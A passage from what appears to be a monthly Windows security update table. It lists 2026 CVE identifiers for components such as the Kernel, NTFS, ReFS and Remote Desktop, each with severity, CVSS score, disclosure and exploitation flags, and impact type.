Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-50494\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50344\n  Windows OLE Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50686\n  Windows OLE Remote\n  Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-50335\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50317\n  Windows Operating\n  Systems Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54987\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50435\n  Windows Overlay Filter\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50409\n  Windows Overlay Filter\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40400\n  Windows PowerShell\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49166\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55004\n  Windows Print\n  Configuration Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50499\n  Windows Print Spooler\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50383\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57085\n  Windows Print Spooler\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50469\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50434\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50339\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50430\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50334\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-44800\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50363\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50431\n  Windows Quality of\n  Service (QoS) Packet Scheduler Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50372\n  Windows Redirected\n  Drive Buffering System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50666\n  Windows Remote Access\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56647\n  Windows Remote Access\n  Service Infrastructure Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50330\n  Windows Remote Desktop\n  Client Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50376\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50504\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58533\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58535\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58546\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58539\n  Windows Remote Desktop\n  Client Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55003\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57979\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50445\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50497\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54126\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57982\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50369\n  Windows Remote Desktop\n  Services Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58626\n  Windows Remote Desktop\n  Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55014\n  Windows Remote Help\n  Defense Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50318\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50407\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50357\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50441\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50668\n  Windows Resilient File\n  System (ReFS) Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54109\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49792\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49793\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50362\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50492\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50501\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58530\n  Windows Resilient File\n  System (ReFS) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49791\n  Windows Routing and\n  